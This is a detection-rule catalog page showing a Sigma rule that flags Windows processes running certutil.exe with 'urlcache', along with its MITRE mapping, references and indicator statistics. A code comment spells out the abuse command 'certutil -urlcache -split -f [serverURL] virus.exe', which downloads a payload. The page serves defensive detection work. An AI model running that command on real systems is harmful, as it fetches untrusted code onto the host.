Detection rules › Sigma

Certutil payload download (command)

Status
experimental
Severity
high
Log source
product windows, category process_creation
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload.

MITRE ATT&CK coverage

TacticTechniques
Command & ControlT1105 Ingress Tool Transfer

Event coverage

Rule body yaml

title: Certutil payload download (command)
description: Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload.
references:
- https://www.elastic.co/guide/en/security/current/suspicious-certutil-commands.html
- https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
- https://attack.mitre.org/software/S0160/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/
- https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
- https://www.recordedfuture.com/five-common-ransomware-techniques
tags:
- attack.defense_evasion
- attack.t1105
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection: # Full command: "certutil -urlcache -split -f [serverURL] virus.exe"
  selection:
    NewProcessName|endswith: '\certutil.exe'
    CommandLine|contains:
      - urlcache
      #- decode    # see other related rule
      #- encodehex # see other related rule
      #- encodehex # see other related rule
      #- decodehex # see other related rule
  condition: selection
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  NewProcessName|endswith: '\certutil.exe'
  CommandLine|contains:
    - urlcache

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
CommandLinematch
  • urlcache corpus 2 (sigma 1, splunk 1)
NewProcessNameends_with
  • \certutil.exe corpus 43 (sigma 43)